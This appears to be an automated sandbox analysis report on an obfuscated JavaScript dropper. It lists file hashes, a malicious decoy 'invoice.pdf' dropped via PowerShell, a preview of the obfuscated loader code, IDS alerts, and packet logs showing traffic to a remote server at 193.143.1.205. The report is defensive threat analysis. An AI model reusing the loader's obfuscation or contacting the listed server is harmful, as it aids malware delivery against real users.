SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18409), with CRLF line terminators
Entropy (8bit):	4.900688557772886
TrID:
File name:	2091470502273216855.js
File size:	22'035 bytes
MD5:	cdb659dae9b9f30db514828a465687bf
SHA1:	2024b170d6f2860954b7e97b00668e1064346da9
SHA256:	d72b4120cbbf71a56ca5661f1b8ba32dd1d151f3916456064509d2234ee5ee56
SHA512:	b4aad567347d2d6e6b5fe651e8123665a0a7c0e3b5940a90ad5ec71520215225c5b9f34210eb6f0903faef16dbdde0fa0266cde0478bea52716ce22f402e6a92
SSDEEP:	384:ZCVxRUxfAIyOtBGa3D7GNNFkKqtKkYZJiHjuOvtdrsBfwau:j4a3D7GWwfDXu
TLSH:	13A23043FB6E5A0BCDE051F12B5E52C20ADF03D2E6D42459CADB38C51CA56E4E9F06B8
File Content Preview:	function wshpovbtx(){iitrxip=[1031,3079,5127,4103,2055,3072];var coscmhwf=this[ueksdg+ueuqyel+ovllp+ohusty+bldijxppm+mteqopu+jhjmzsj+xsmfgpgkt](this[swnmglt+uujgt+rizfwzdoz+ovllp+qccttut+ueksdg+xsmfgpgkt][uzzsmyp+ovllp+bldijxppm+ueuqyel+xsmfgpgkt+bldijxpp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:17:34.560805+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T21:17:37.209562+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:17:33.588274002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:33.762731075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:33.762828112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:33.766138077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:33.770931959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560689926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560724020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560731888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560738087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560754061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560760021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560774088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560779095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560791016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560797930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.560805082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.560870886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.565695047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.610773087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.610789061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.610793114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.611006975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.679373980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.679383039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.679434061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.679440975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.679449081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.679450989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.679455996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.679970980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.680090904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680105925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680114031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680119991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680126905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680147886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.680875063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680896997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680910110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680938005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680944920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.680969000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.680977106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.681000948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.681771040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.681837082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.681844950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.681853056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.681869030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.681898117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.703227043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.703238964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.703252077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.703286886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.703340054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.782665014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.782677889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.782691002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.782738924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.797112942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797139883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797178984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797185898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797198057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797208071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.797230959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797236919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.797240019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797247887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797291994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.797868013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797875881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797888041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797894955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.797919035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.798294067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.798300982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.798314095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.798340082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.798346996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.798350096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.798355103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.798362970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.798377037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.798388004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.798398018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.799366951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.799375057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.799386978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.799391985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.799400091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.799406052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.799412966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.799426079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.799429893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.799469948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.800215960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.800252914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.800268888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.800276995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.800296068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.800359964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.800365925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.800379038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.800385952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.800390959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.800400972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.800419092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.801345110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.801352978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.801366091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.801372051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.801378965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.801389933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.801390886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.801398039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.801405907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.801423073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.801445007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.875053883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.900573969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.900604963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.900613070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.900619030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.900626898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.900639057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.900686979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.900767088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.914510965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914521933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914534092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914606094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914613008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914627075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914642096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.914659023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.914701939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914707899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914721966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914727926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914757013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.914978027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.914993048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915004969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915009975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915018082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915044069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.915072918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.915455103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915462017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915473938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915503025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915504932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.915509939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915534019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915539980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915548086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915549040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.915570974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.915594101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.915914059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915920973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915929079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915961981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.915980101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915986061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.915997982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916006088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916034937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.916047096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916053057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916065931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916070938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916076899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916084051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916099072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.916122913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.916811943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916830063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916841984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916847944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916856050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916913033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916918993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916918993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.916933060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916939020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916943073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.916960955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916964054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.916968107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916980982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.916994095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917001009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.917013884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.917085886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.917794943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917802095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917820930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917826891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917840958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917846918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917854071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917855024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.917887926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.917900085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917907000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917920113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917926073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917937994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917948008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.917953014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.917984009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.918807030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918814898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918828011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918833971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918848038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918853998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918867111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918873072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918881893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.918884039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.918920994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.919285059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.957902908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.988604069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.993105888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993123055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993129969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993136883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993144035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993156910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993189096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.993194103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993202925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993210077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993227005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.993236065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993242979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:34.993258953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:34.993294001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.006989002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.007020950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.007031918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.007039070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.007055044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.007060051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.007074118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.007077932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.007164955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.007164955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.018116951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018125057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018143892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018150091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018162012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018182039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018193007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018199921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018207073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018210888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.018230915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:17:35.018235922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:17:35.018239021 CET	80	49704	193.143.1.205	192.168.2.5
